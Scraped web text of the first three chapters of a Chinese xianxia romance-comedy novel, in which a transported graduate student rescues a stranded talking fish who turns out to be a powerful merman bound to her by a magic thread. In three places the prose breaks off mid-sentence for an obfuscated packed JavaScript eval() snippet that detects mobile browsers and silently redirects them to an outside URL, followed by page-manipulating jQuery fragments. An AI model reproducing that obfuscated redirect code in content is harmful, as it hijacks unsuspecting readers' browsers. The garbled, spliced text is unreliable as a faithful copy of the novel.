《海王养鱼,游刃有余》 1. 第 1 章 合掌起势,撤步微蹲,默念口诀,腾至半空—— 有希望! 太好了,是起飞,我们的高数终于有救了! 哦不对,说错了,应该是“高树”。 高树,修仙家的入门基本功,顾名思义就是高高的树。 只要能合理运用倒竖寒梳整理头部脉络、集显、腊阁浪日种植、棵系泰肋运功,那一定落笔达。 眼看着这回终于套对了公式,步骤分也拿满了,陆雨娴脸上终于浮现起一丝久违的笑容,准备趁势爆发。 但好景不长,“扑通”一声闷响,她又一次狠狠地摔到了地上。 陆雨娴揉了揉屁股,熟练拍去身上的灰,认命般地接受了自己第五十九次高树挂了的现实。 “这破仙谁埃及吧爱修谁修吧,老娘不干了!”说罢,她甩手坐到一边,打开仙露吨吨吨喝下了大半壶。 今天是她来到这个奇怪的修仙世界的第十天。这里既不像过去的古代,也不像她看过的任何一本小说,甚至都不像她玩过的哪款游戏。 没有任务,没有系统,甚至没有攻略对象。 作为饭桶,她只知道一日三餐都要去南山苑吃,而南山苑是千岛派的大锅饭食堂。而她的身份似乎是千岛派新入门的小师妹。 九九新,全瑕,课都没上过几节的那种。 未经受过任何仙术熏陶的仙班第一咸鱼。 人家修仙两袖清风一身正气,她两壶浊酒一身饭香。 不是她不肯努力,想她刚来到这个世界的时候,对修仙还是很有想法的。但在经历危机风吹歪了三次、激酸剂二级练废八次、大雾召唤不出、弓途画迷了十次之后…… 她摆烂了。 大学好不容易毕业,往事不堪回首,终于如愿以偿跨考上岸成为一名海洋系研究生,谁还想再在这个世界挂五十九次高树! 这棵破东南枝爬不上去就算了,只要师父还愿意收留她给她一口饭吃,她就能在这个世界上多苟一天。 反正回去也得接着写论文,还不如在这边多过两天神仙日子。当然神仙是别人修的,她纯纯被|日罢了。 “雨娴师妹。” 听到山顶上有人喊自己,陆雨娴挣扎着从地上站起来,背上仙露壶就撒开腿爬楼梯。她不会轻功,这么多级楼梯只能硬着头皮上。 但叫她的人显然等不及她龟爬似的一级一级挪上去,一个轻功腾空而落,施施然降在了她面前。 “栾谷师兄。”陆雨娴装模作样地叉着手,行了个平常见面礼。 来者一袭白衣,气质淡然,哪怕是放在修仙界也是一副玉树临风优等生模样。根正苗红小白菜很对陆雨娴的胃口,所以栾谷是她在这个世界上为数不多能记住名字的人。 “嗯。”栾谷点头轻应了一声,为她传话,“师父叫你去收鱼了。” “好嘞!”陆雨娴乐滋滋地领了任务,伸手接过栾谷从墟鼎中找出的鱼篓,打开今日的收鱼地图。 这个任务她已经轻车熟路了。据说半月后的月虚之日仙山上将会有一场盛宴,仙尊将会亲自出山,盛情款待一位从海里来的客人。 而她最近被专门指派去收各种各样的鱼,就是为了交给南山苑的厨娘们提前练出千百款新鲜不重样的菜式,拼尽全力,只为让海底这位贵客满意。 老话说酒足饭饱好谈生意,她非常理解仙尊费力设宴的苦心。但具体贵客何人,谈何生意?她也没法知道。只是偶尔听到同门师姐讨论,脾气不好很难对付。怪不得要收这么多的鱼,不停地练菜式。 但因祸得福,她勉强也算沾了这位贵客的光,这几天没少吃到有趣美味的新菜式。 栾谷指尖轻点几处,微笑着提醒她,“这几处是今日特别下饵打窝的地方,务必要去,其他地方看你口味随意。” “嗯,记住了,师兄放心。”今日打窝几处她很满意,非常符合她的胃口。她点点头,准备出发。 栾谷看着她离开的背影,还是有些不放心,“今晚潮汐之夜,可能涨潮,需不需要我陪你一同去?” “不用了师兄,你还有那么多事务要忙。收鱼而已,我可以的,放心吧。” “……好。” 栾谷揉了揉眉心,最终还是尊重她的选择独自离开。但小师妹长得太过漂亮又不会术法,总是不由让人想多关照一点,生怕她出什么意外。 - 相比师兄的多虑多思,陆雨娴这个当事人有点显得过于没心没肺。在海边哼着路边的野花你不要采,一路走过去仔细地收着鱼干,不放过任何一条。 不知是不是通灵的缘故,虽然同在一个世界,但仙界的鱼可比人间的鱼好吃多了。 就是有时候难免误抓到会说话的师祖爷,只能心不甘情不愿地放回去。 这不是她第一次收鱼。自她到这里以来,每天都有这个任务,既是新生的日常,也是师父为了培养她身体素质的小锻炼。 陆雨娴喜欢海,所以并不排斥这个任务,甚至有些享受傍晚时分一个人在海边自在吹着海风的感觉。 但今晚有些累。 毕竟高树作为入门级别的必修课,她不得不过,否则就会被赶出师门,她就再也没有这么好吃的鱼了。 这简直就是在要吃货的命,一旦吃过这样好吃的东西,曾经沧海难为水,其他的东西就再也入不了眼。 陆雨娴掂了掂手中的筐,已经满了大半,感觉差不多了。高阶仙人都辟谷不需要吃饭,这些鱼多半是给他们新生准备的。而新生中又属她最爱吃鱼,配着掌厨仙子酿的仙露,极乐也不过如此。 该去的区域已经细心收了个遍,落日西沉,天色也不早了,任务圆满完成,她伸了伸腰,准备打道回府。 沿着海岸线懒懒地吹着海风,远目眺望,浮光跃金,海面粼粼。浅滩上的细沙在醉人的阳光下也像是金子堆成的一般,海浪卷过,无数的珠贝轻埋在表面,像是一个巨大的潘多拉魔盒,盛满宝藏暗惑诱人。 她欣赏着海边的风景,无论多少次都看不腻。当她上辈子还在人间海洋大学时便常常在学校的临海公园边散步,到了这儿,也还是有着这个习惯。 这儿的风景更漂亮,鱼的种类也更多,常常有她之前只能在书本上看到的,甚至,还有书上都没见过的。 她目光一顿,落在岸边搁浅着的一条海蓝色小鱼上。这条鱼很小,但是鳞片却折射出无比耀眼的光,如钩般拉扯着她的思绪,一时间什么事情都忘在了脑后,只想走近了去一看究竟。 不自觉地放下了鱼篓俯下身,她和这条小鱼的距离不过一尺,但似乎看得还是不够真切,她还想凑得更近一些。 他的鳞片细细密密地铺着,近乎透明,反射出的蓝光大约是因为天色眷顾,才这样浑然神秘。但太阳已然下了山,他幽幽泛着的蓝光依然不减,甚至在这昏沉的夜幕中更加夺目。 流线的鳍和翅也薄如蝉翼,感觉脆弱得不堪一折,他的尾尖又有些些泛粉,更惹人怜惜。 “这大概又是一条搁浅了的小可怜。”陆雨娴有些心疼地想,“好想带回去养着,毕竟难得碰到这样漂亮的小鱼。” 既然有了这个念头,想来在仙门收养一条不碍事的宠物鱼也不是多大的问题。她拦过自己的鱼篓,又伸出手—— “愚蠢的人类,不许你用脏手碰本座!” 陆雨娴吓得一激灵,手猛地缩了回去。 警惕地晃了晃头,环顾四周,只有她一个人还在岸边。她的目光重新落回到眼前的这条小鱼上,“是你在说话?” “……” 并没有声音再回答她。 但不知道是不是她的错觉,耳边传来一丝若有似无的叹息。 她对于鱼会说话这事已经见怪不怪了,若真是哪条师祖爷,被她带回去应该也不算亏吧?毕竟一条会搁浅的小鱼,一看就是一个手无缚鱼之力的小可怜,她带回去了说不定还能保护他。 她搓搓手,打算重新捡起那条小鱼。 “不许碰本座!” 声音又来了。 这次有了准备没再被吓到,她看清了,声音发出的时候,小鱼的鳃片随之动了动。 但他说的话虽然凶巴巴的,语气不善 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235698|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,可声音却有些虚弱无力,尾音拉得有些长。仔细听是个男声,只是干哑得太厉害,分辨不出年龄。 陆雨娴眨巴眨巴眼睛,准备起身算了。连续被小鱼拒绝两次,看样子他是真不想让自己碰他,她可不是那种强鱼所难的人。 虽然这条鱼长得确实很漂亮,且非常独特,但脾气这么不好,强行带回去了估计也很麻烦,她一个还没入门的小学生,不想真惹上什么祸端。 背上鱼篓,天已经完全黑了。就是因为贪玩,今日估计得跑着回去,免得师父责罚。 可她还没迈出两步远,又听到身后传来声音—— “站住!” 陆雨娴:“?” 您搁这给我练深蹲呢,起来又蹲回去很累的好吗? “呵。”小鱼冷笑一声,戏谑嘲讽,“经年问世,人类果真一如既往的贪婪凉薄,见死不救。” 陆雨娴:“靠?”靠回浅滩。 骂她可以,但扫射全人类不行。 巧了,她就是个经不起激的。 小鱼见她走了回来,嘴巴动了动,又摇了摇尾巴,尾尖的那抹粉红似乎更大了,声音还是一如既往地冷。 “本座给你个机会,送本座回去。” “……” 陆雨娴叹了口气。这他爹哪里蹦出来的霸道鱼干,求人竟是这种语气?还给她个机会。 她沉默地杵了几秒,莫名其妙的,还是蹲下了身。但当她即将碰上鱼身的时候,又突然反悔了。 他不让她碰的时候可嫌弃得要命,现在一句话让她救就得救?那她岂不是很没面子。 陆雨娴唇边突然浮起一抹笑,眼里透出一丝诡异的光。 小鱼没有眼睑,但陆雨娴心里可以感觉到瞬时他的眼睛睁大了,“还愣着傻笑作甚?” “笑你幼小但口气不小。” “幼小?”小鱼清冷的声音逐渐沾了怒意,“还是头一次有生灵敢用这样的词来形容本座。” 陆雨娴:“那咋啦?” 她不以为意,自认为自己只是在说一个显而易见的事实。 小鱼尾端的粉红更甚几分,气得甚至有点结巴:“你……你!本座比你祖宗都要年长,哪怕是你们那个仙尊小儿见了本座也要毕恭毕敬,你这小儿,当真愚蠢无知!” “呵。”吹牛皮不打草稿。这回轮到了陆雨娴轻笑一声。 在这岸边自称她祖宗的老鱼头可多了去了,每天她都要放走好几条,可哪一个不是被她放走后对她感恩戴德的。 这条小东西,都脆弱成这样了,身上漂亮精致的鳞片都不泛光了,干巴巴的,竟然还在跟她叫板。 周围除了她,可是一个人影都不见,甚至连一条鱼都不见。 刚刚似乎还有两只小螃蟹在边上爬来爬去,但有一瞬间又跟见了鬼一样,岔开了腿举着大钳子,跟装了发动机一样“嗖”地跑回海里了。 她伸出指尖,轻轻挠了挠小蓝鱼的尾鳍,低下头去距离更为拉近,“你可想好了,能救你的只有我一个,乖乖叫我一声‘恩人’我便放你回海去。” 说话的清浅温热呼吸打在了他的尾部,那条蓝色的尾巴正以肉眼可见的速度红得发紫。只不过他的尾端色彩依然过渡得均匀自然,比天边晕染的晚霞还要迷人。 “谁让你救?本座自会自行回殿。”小鱼似乎受到了巨大的屈辱,奋力地摇着尾巴,想要自己跳回海里。 奈何海岸已经退潮,回海的距离对他来说遥不可及,他的重量实在太轻,又太过虚弱,只是徒劳。 陆雨娴收回指尖,就这么垂着头看他蹦跶,一边在沙滩上画了个圆圈。这么干还不过瘾,又在小鱼身边画了个小圈圈给他圈在里面,跟孙悟空画给唐僧防魔圈似的。 但效果就截然相反了,一个给人带来安逸,一个给鱼带来无边的……愤怒。 蓝尾小鱼受不了她这样一个灵力全无的仙班小学生的侮辱,却又无可奈何,尽最后的力气回光返照般地扑腾了两下。 成功了! 成功的一点力气都没了。 再也不动了。 2. 第 2 章 陆雨娴一惊,连忙拍干净手中的沙子戳了戳小鱼,“诶不是哥们,逗你一下呢,这就死啦?” “……”小鱼还是没有反应。 她心跳跟着停了半秒,呼吸一滞。 完了,好像玩出祸了。 “真死啦?”陆雨娴不信邪,还在左戳戳右戳戳,“你不是祖宗吗?这么容易死的?” 小蓝鱼依然不给反应。 陆雨娴的指尖顿住了,呆滞半分,“诶,你别吓我,谁知道你这么脆弱呢?要是早知道我也不逗你了啊!” “……” “不是,你都这样了早求我一下该多好,现在好了,玩出鱼命了!”她的语气已经带了一丝慌张,说不害怕是假的。 虽然吃了无数条鱼,大学和研究生期间也在实验室里处理过很多条养殖小鱼,但像这种会说话的鱼突然挂在自己面前的还是很不一样,有种说不上来的恐怖谷效应。 各种各样的胡思乱想涌了上来,头都要爆炸了。 她杀生了。 师门容不下她的。 她还能去哪?会不会给她卖回寻常人家当粗使丫鬟,每天端茶倒水伺候人洗脚。再也吃不到好吃的鱼了,这辈子都不会再好了。 陆雨娴自认是一个非常没用的爱哭包,情绪特别崩溃的时候往往会选择大哭一场来解决问题,但她其实很少有情绪大波动的时候。 唯独今晚,她的情绪线已莫名超过理智一步,先轰然破防,眼泪瞬间就像开了闸的浇水壶一般吧嗒往下砸。 大约是死了鱼了,哭一下很正常。 她颤着手开始给小鱼“收尸”。双手擦了眼泪,指腹湿润湿,重新捧起鱼尾。瞬间,鱼身似乎因为她的触碰而又泛出了一点光亮。 陆雨娴以为自己心慌到极点才眼花,顺势揉了揉眼睛,她的泪随之再次沾上小蓝鱼。 骤然星星点点,如仲夏夜齐聚的萤火虫,这次小蓝鱼身上的光亮更加明显了。 陆雨娴脑海中闪过一丝荒唐的念头,海底的不灭夜明火也不过如此。 “快、放本座……回、海里!”喘息声打破寂静。 小蓝鱼摆了摆尾巴,这次的动作更微弱了,声音也是一字一顿勉强发出,不再像开始那样跋扈。 陆雨娴听到他重新开口还这样好声说话,激动得近乎失声。情绪大起大落,她再也不敢瞎折腾,赶紧爬起来捞着祖宗去海边。 抬眼望去,今晚的夜比寻常都要亮。但海面却吞噬了所有的光,黑压压的,一只发光水母都见不到,有些离奇的诡异暗沉。 陆雨娴手捧祖宗,还不过几步的距离便已经临近海边。她似乎还没有意识到,海岸线已慢慢靠近,夜色渐深,海面已无端涨潮。 今晚正是十五。 月圆潮汐之日,一年仅此一天。 缓缓蹲下,无比轻柔地将小蓝鱼放回海中。 弱小的身子沾到水花时甚至漾不起丝毫涟漪,陆雨娴心中的忧虑仍然不减,眉头紧皱着不敢有丝毫放松,伸出指尖来想要再触碰他。虽不知这样的动作有何作用,可是冥冥之中就想要这样做。 鱼鳞沾了水后似乎透亮了许多,浅滩的水不深,他身上的微光逐渐明亮,映着水下的沙,显得斑斓。 他似乎好多了。如鱼得水,古人诚不欺我。 陆雨娴松了口气,想要收回手,而一星蓝光在她的脚踝处闪了一瞬,她还没发觉到疼痛,便见白沙浅滩上泛了红。 她流血了! 陆雨娴震惊地看着小鱼,“我救你回去,你咬我?” 可回应她的只有愈卷愈烈的滔滔浪声,海水在眨眼间齐齐向岸上扑来,直接上涨到了她的膝处。 她第一反应便是后退逃跑,却迟迟迈不开步子,被困于此处完全不能动弹。 低头看去,双腿已被一条从脚踝处发出的蓝色光束“绑”住,这道光亮得耀眼,色彩却依然迷幻轻柔。淌出的那丝血线也混在了这道蓝光一同,魅惑诱人,鲜活得仿佛有了生命一般,随着一阵阵的海浪汹涌而缓缓波动。 顺着这道光,黑压压的海面上突然亮起了一团蓝到炽白的焰,不似明火,触感冰凉凉的更像深海处的不灭沉辉。 “呵。” 须臾,一道男声乘浪而过,似乎是在回应她。 确切来说,这声音似天籁。 这是这片海杀上仅有的除巨浪外的其他声音。他的声线似乎生来便与海洋融为一体,空灵悠远,无边广袤。 陆雨娴循声而望,血线与蓝光的尽头依稀看到一袭艳尾。 再往上去,蓝雾柔光仍旧轻迷如梦,却逼得她畏于直视,无法见到他的真实面貌。 “换个样子就认不出本座了。” 过于优美的声音。陆雨娴闭住呼吸凝神听着,忘了出声。 “愚昧。”他狂妄而高傲地谑道。 无端被骂,陆雨娴被激得回过神来,下意识反驳:“我都看不见你长什么样,拿什么认?” “趣味。” 一阵咸湿的寒风扫过,冻得陆雨娴心尖一颤。对方都还没动手,她就感觉自己快要交代在这了。 陆雨娴暗自懊悔方才不该心直口快过于猖狂,祸从口出,一向准得离谱的第六感大感不妙。 出场这么奇葩,声音还这么好听,肯定不是一般的NPC。 该不会就这么碰到了这个世界的最大反派吧? 她只是来收鱼的,不是来玩命的。 可那耀眼的蓝雾并没有再攻击她的意思,竟淡淡隐去了光晕,海面逐渐平和。 陆雨娴似乎看到了一个模糊的人形,惬意地浮在水面上,离她越来越近。 原以为是他在向自己走来,然而她的脚踝处却感觉越来越紧—— 那条看似细弱的蓝线竟一直拉着她往海里去! 陆雨娴掐着大腿强迫自己保持理智稳住平衡,那股操控着她的力量虽强势得不容抗拒,却莫名安稳平和。 直到海水没过了大腿,冲击着的凉意攀上腰间,那模糊的人影轮廓在她眼前愈发清晰。 鼻尖除了海湿又多了些许他身上才有的特殊气息,无疑是陌生又危险的,却并不让她感到抗拒。 但这并不意味着她不害怕一望无际的深海,黑沉沉的天连着海压得她心口也开始有些喘不上气,陆雨娴双手划水,慌乱道:“不行啊鱼、鱼兄,我不会游泳,咱不能鱼命救了就闹出人命吧?” 他置若罔闻,没有任何动作。 反倒是牵制住她的那根线依然收缩着,越来越紧。她的双脚已经离地,自身没有任何赤手空拳逃走的本事,不得不继续往海里漂。 水已经渐渐涨至她的胸口,潮汐之夜的浪花尤甚,陆雨娴连强装的淡定都稳不住了,语气恳求:“鱼大哥,不对,我叫你祖宗行吗?祖宗,小的真不会游泳,方才虽算不上帮过您,但也绝没有想过要害你,还请您高抬贵手,我以后再也不到这片海来打扰您老人家的安宁了。” 嘴上说着,她的右手也没闲着,已经默默伸向了左袖口。 但就是这个小动作,本来老神在在只是袖手旁观看着她吵闹折腾的鱼祖宗翻脸了。 一时间,这块海域的浪都高了几丈,陆雨娴踝间再次受力,猛地又被拽下了几十公分! 刚才一番好话真是没白说,这不,赚了一大口海水喝。 陆雨娴:“……”草! “不是来害本座的?” 浪静了一点,鱼祖宗终于幽幽开口,冻得人后颈皮发凉。 是时,一片浪从陆雨娴的袖口冲过。 “当然!”她用力点头回话以表忠诚。同时贼心不死,右手仍在不停翻腾,却发现袖中已是空空如也。 又是一阵浪,卷来一枚袖珍哨笛在她面前。 “你想找这个。”他在对面平静地陈述着,语气淡得没有半点起伏。 陆雨娴两眼放光,抬手便想拿过来,“就是这个,谢……” 还没谢完,那阵浪又带了哨笛走了,她扑了个空。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235699|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >感到被戏弄,陆雨娴羞愤交加,只听他凉凉道:“很好。既想给那群修仙者通风报信,又说不打算害本座……” 陆雨娴根本听不懂他在说什么,不想死的话只能和他牛头不对马嘴地解释:“你不放我走,我自己又游不回去,再不叫人来救我漂在这里等死吗?” “狡辩!” 他的声音陡然变得严厉,连带着那抹艳尾卷起数丈高的海浪,迸射出穿透海面的光。 这一声却喝得陆雨娴变得冷静,知道再激怒他绝无好下场,试图讲道理:“我只是一个路过捡鱼的仙门咸鱼,实在无意冒犯,我想这其中或许有什么误会。” “监狱……仙门?”他声音更冷了,“你想囚禁本座?还能有什么误会!” “是‘捡鱼’不是‘监狱’啊!”陆雨娴噎住了,“……您老人家耳朵不好使?” “什么皓石?” 陆雨娴:“……” 还真不好使。 海风越来越大,耳边都是呼呼风声,陆雨娴说话全靠喉咙,灵力全无,不带一点气功传音的本事。 这么说来,好像也确实怪不得鱼祖宗听不清。 没辙了,她还是只能扯着喉咙干脆开喊:“我说!我真没想害你!都是误会,还请您放我走!大恩大德感激不尽……咳咳……” 一个猛浪拍过来,呛了她一鼻子,陆雨娴坚强地抹了把脸,接着声泪俱下:“绝无半句虚言!否则天打雷劈不得好死!” 浪突然静了。 陆雨娴眨巴着眼看向胸口,但水没退下去。或许刚刚的话是有效的,她继续吼着快破音的嗓子:“还请您放过我!不然我真的要死……啊!” 她话还没说完,身子又猛冲地向海内好几丈,直到撞在了一面结实又有些柔软的“墙”上才刹了车,惊呼声分贝值爆表。 “够了。”一直缥缈在海面上的声音突然变得清晰起来,紧靠在她的耳边,语气有些不耐。 陆雨娴胡乱扑腾着手,清晰的看见那条蓝中带粉红的线仍连着自己的脚踝,另一端连着一条巨大的鱼尾。 她不由得瞪大了眼——只见那条血线完全收束于他的尾端某处鳞片之下,那道白得晃人的亮光终于渐渐暗了下去,而他的尾鳍粼粼随波,与这片海融为一体,浑然天成。 陆雨娴的双手突然被一双强有力的大手抓住,潮湿却不冰冷,但感受不到他的丝毫体温。 “我真的要死……死了。”她咽了咽口水,怔愣吐字。 目光渐渐上移,鱼尾鳞片渐渐隐去,与上身人鱼线的肌肉线条连接得恰到好处,腰身完美有力。线肩平顺地连着无尽海岸,宽广得能容纳百川湖海。 再抬头,对上一双浅蓝的眸子,似琉璃辉转,眼神冷淡平静,俯视不远处海洋浅滩,神圣得不容侵犯,不经意流露出悲悯之感。 沉鱼闭月。 此情奇景,她的脑海中无端冒出这样的词。 良久,直到平静的海面又激起了微微浪花,她才终于意识到自己似乎见到了人鱼—— 活的,会动的,甚至带有魔法的人鱼。上辈子她坚信这个世界上一定存在的,梦想中童话般的人鱼! 人鱼就这么静静地看着已经石化了的陆雨娴,面带疑惑,抬手在她的眼前晃了晃,停在了她的鼻下,最后得出结论: “愚蠢的人类,真没气了。” 大约又要有一只可怜的小人类就这样莫名死在他眼前。人鱼的眼中难得闪过一丝遗憾,又很快恢复如常。 那是一种看破太多生死别离后的淡然眼神,说罢便准备转身回深海。 闻言,陆雨娴才想起人是需要呼吸的。 但刚微张开口准备喘气,身子又突然猛地下沉。 大概是人鱼的游动速度太快,而那根蓝线依然死死地连着她,所以她也被这个动作拉了下去,整个人如秤砣般地埋入了海面下。 “我咔——嗷……布鲁布鲁……” 脏话还没骂出来,人就已经开始吐泡泡了。 3. 第 3 章 所以,人完成了梦想之后就会死是吗? 她才刚见到人鱼儿时夙愿成真就要沉海了,非得闹出个你死我活。 而游动着的人鱼大约是感受到摆尾时的阻力,终于意识到了情况有些不对,回头看了一眼。 他看着自己尾端的蓝线,直到她脚踝边。甩了甩尾,发现这条不知道哪来的线会随着他的动作牵住她。 他自己都没有意识到,此刻已经皱了眉。 这个小人类怎么还在这里,缠上他了? 但看着陆雨娴憋红的脸,想挣扎却徒劳的样子,那条线恐怕不是她的手法。 这小人类没这么大的法力,他轻抬手想解除这条蓝线,竟然都无法解开! 小人类刚刚看起来只是没呼吸起伏,但现在看起来,好像是要活活憋死了? 人鱼额角紧绷,眉弓与耳后的鳞片随之浮现。几百年了,还是没办法眼睁睁地看着手无缚鸡之力的弱小人类在自己面前死掉。 他压下自己心中的不甘和愤恨,暂时放弃了回海的念头,转回身向她游来。 陆雨娴憋着气,忍着海水的汹涌睁大眼,有些震惊。目不转睛地看着人鱼,从没想过他会回头。 她对上他带了几分担忧的双眼,似乎就想这样永远记住他的样子。 这个世界也许只是她的一场梦吧,终于到了要醒的时候。 她想在清醒之前想记住他。 陆雨娴惊叹于自己的想象力,一向审美平平的她竟能梦出这样漂亮的人鱼。 突然,那条本已暗淡下去的连接着两人的蓝线又亮得耀眼,让她眼前的场景空前清晰。 她渐渐涣散的思绪开始变得清明。电光石火间,人鱼善心大发,行动快于思绪,已经隔水向她渡了灵力,为了稳住她的呼吸和命脉。 衣裙随着流水飘动,他抬手搭住了她的肩。一边带着她往海面上游出,一边低头向她靠近。 那张俊美的脸在眼前不断放大,她不由后仰,但他手中的力量不容抗拒。灵力从她的双肩流向全身,推着她的背脊往前,直到她和他的前额贴上。 这距离实在太近,陆雨娴分不清自己到底是被憋气憋红了脸,还是气血上涌心跳如雷。但此刻她竟有些离谱地想,人鱼好像要救她。 她还不清楚这莫名出现的蓝线到底是什么情况,只知道拉她下水的也是他,给她渡灵力的也是他。 没事为什么多此一举,灵力多得烧得慌? 人鱼眉头依然不解,只知道眼前这个小人类的表情变得更加古怪了,渡了这么多灵力给她还丝毫不见好。脸红脖子粗,下了呼吸咒依然不能在水下呼吸,脆弱得有些过分。 救人救到底,送佛送到西。既然救了,已经烧过这么多灵力了,前面的功夫不能白费。 人鱼嫌弃地嘴角下沉,眼神中写满了不乐意,松开一只手抬起她的下巴,突然贴上她的唇。 凉。 他的嘴唇竟比双手还要凉。 不只是不是在水中的缘故,更像是一片轻盈的浪,在她还没什么感觉的时候,他又很快的抬起头。 他轻轻看了她一眼,发现这小人类还呆在原地。 人鱼费解,不明白这么简单的法术为什么会失灵两次。哪怕自己刚强制冲出关消耗太大又恰逢潮汐之夜受限,也不至于这点呼吸咒灵力都没有。 他抬起手,修长的指尖在唇上蹭了蹭,终于,下了某种决定般再次向她靠近。 这次不再是简单地轻碰一下渡灵力,而是开始用物理方法,抬起她的下巴,她便随着微微张开了口,瞬间的间隙,他缓缓向她渡过一口气。 也正是她张口这瞬,人鱼发觉她是有呼吸的。 原来之前的呼吸咒并没有失灵。 他怔了半分,利落地撒手放开了她的脸,重新搭回她的肩,心中默念静心诀—— 既然都为这小人类做到这个份上了,干脆再忍一下,游出水面就能彻底完成。 “……” “卧槽!” 良久,陆雨娴的反射弧终于修好了,脱口而出就是一句国粹,“你他爹亲我干什么?” 但她还没适应他几次给自己渡来的灵力,即便现在已经可以在水下自如地呼吸,一口气呛出去还是不由得咕噜咕噜吐了几串泡泡。 大约是模样太过滑稽,人鱼轻呵着沉了沉肩膀,眼底的兴味和打量一闪而过,转眼又是用一种看智障的眼神看着她。 “不行!哪有你这样欺负人的,我要……” 人鱼一挑眉,眼神中的压迫不怒自威。使力将她再往上拽了几米,终于,半个身子冒出了海面。 而陆雨娴那句还没说出口的“报告仙尊”就这么被吓了回去。 她缩缩脖子,同时又惊奇地意识到,自己刚刚竟然可以在水下自由地呼吸、说话,还会各种姿态地快速游泳。 眼睛也明亮了百倍,即便海下无光,她也可以看到几百米之外的景物。 太神奇了,这就是大佬的力量。她一会儿将头探出海面,又埋下海去四处张望,来去自如。 别人是漏漏指缝的功夫就能起到非常之玄乎的效果,人鱼祖宗是张张嘴的力气。 只是一想到这个张嘴,陆雨娴还是一阵脸红耳热。 尤其是人鱼依然气定神闲地看着她,兵荒马乱的只有她自己。 陆雨娴心想,真是祖宗,不想说话就不说。 算了,她也不是那种死皮赖脸的人,非要冲上去要个说法,可能他也是想救自己才会这么做。 从小感情观纯粹认为初吻一定要留给喜欢的人的陆雨娴,自我洗脑一百遍命比清白更重要,活着才是最要紧的事,没伸舌头只是碰了碰嘴皮子不算初吻…… 终于也能下定决心潇洒转身离开上岸。 一命换一命,两不相欠!回家吃鱼去咯! 但她转过身后游着游着,发现自己废了老鼻子劲还是在原地扑腾。蹬蹬腿,才发现右脚踝上还缠着那根蓝线。 陆雨娴瞟了瞟,向人鱼祖宗投向求助的目光。 他也注意到了那根线,显然也并不想在此后还和她有什么牵扯。 已经解决了危机情况救了人,也施法能让她海中呼吸,这小人类应该不会笨到连游回去都做不到,再活不下去就跟他没关系了。 人鱼抬起手,向线的一端施法,想要破除。 陆雨娴聚精会神地看着,不得不说,他是她见过的施法最特别的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15235700|166074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,和别人一招一式、一板一眼地按部就班不同,他的能力与生俱来,动作也非常轻松,游刃有余。 但一向眼中没有任何困难的人鱼,再次在陆雨娴面前栽了跟头。 无论他怎么努力,那根蓝色的线就是消不下去。他甚至对自己下了重手,火烧、冰冻、电击、烹煎炸炒……但那条线还是蓝蓝的。 可能忽明忽暗有所变化,但绝没有要消失的意思。 陆雨娴的头皮因为他刚刚放的电已经有些发麻,看他折腾这么久,甚至有些累了。一直被他拽到海里上上下下飘来飘去不知现在到底几点,只知道自己的眼皮一张一合开始打架。 人鱼也暂时想不出其他办法,一直在这中间飘着也不合适,暂道:“先回府。” “嗯。”陆雨娴点头,很自然地就开始往岸边游。 但人鱼显然是要回海底的,两人回家的路截然相反。 她拗不过,连到底回谁家的商量余地也没有,就这么被他独断专行地拖回海了。 浅海区距离鲛人族部落应该很远,所以人类、哪怕是修仙者都很少和鲛人族有所往来,在身后当漂浮挂件的陆雨娴还疑惑,为什么人鱼祖宗这会儿不用移形大法。 但想到他刚刚为了弄断线,什么仙法都试出来了,又刚从小蓝鱼变回来,消耗不小,况且还有她这么个咸鱼累赘。 她干脆放宽心仍由着线扯着,没事吐几个泡泡玩。 路上黑漆漆一片,伸手不见五指,只有小蓝线还发着光,光看这纤细的样子,还真猜不出这玩意这么坚韧。 直到看到鲛人族部落的珠贝海石匾,再往前一点,终于慢慢变亮了。但一路上仍然没有看到任何她想象中的海鱼,她暂时将这种现象归结为人鱼的生活区域和一般鱼不一样。 陆雨娴以为就凭祖宗这气质,怎么说也是八台虾兵蟹将迎回府的,谁知他并没有走大门进去的意思,反而是在这最后关头,伸出右臂带动上头的鳍在海中划了一道。 人鱼带着她从缝隙中钻过,再出现的便是一座无比豪华的宫殿,和她想象中的人鱼宫殿竟然相差无几。 巨大贝壳搭成的床,随处可见的珍珠与七彩鳞片装点在各类家具上,随地摆满了形态各异的红珊瑚摆件。 这样广阔的一片海域内,愣是找不出两处一样的景致,足以见得祖宗对装修很有想法,这还只是她面前的部分,后头收藏的奇珍异宝只会更让她大开眼界。 只是,殿内没什么生活气息,华贵,但落寞孤凉。 “哇!” 陆雨娴双脚终于着了地,形如脱了缰的野马在这儿走来走去,满心好奇。 但又不敢随便乱动,生怕弄坏了什么找死。且离得太远又会被拽回来,两人距离不能超出一丈。 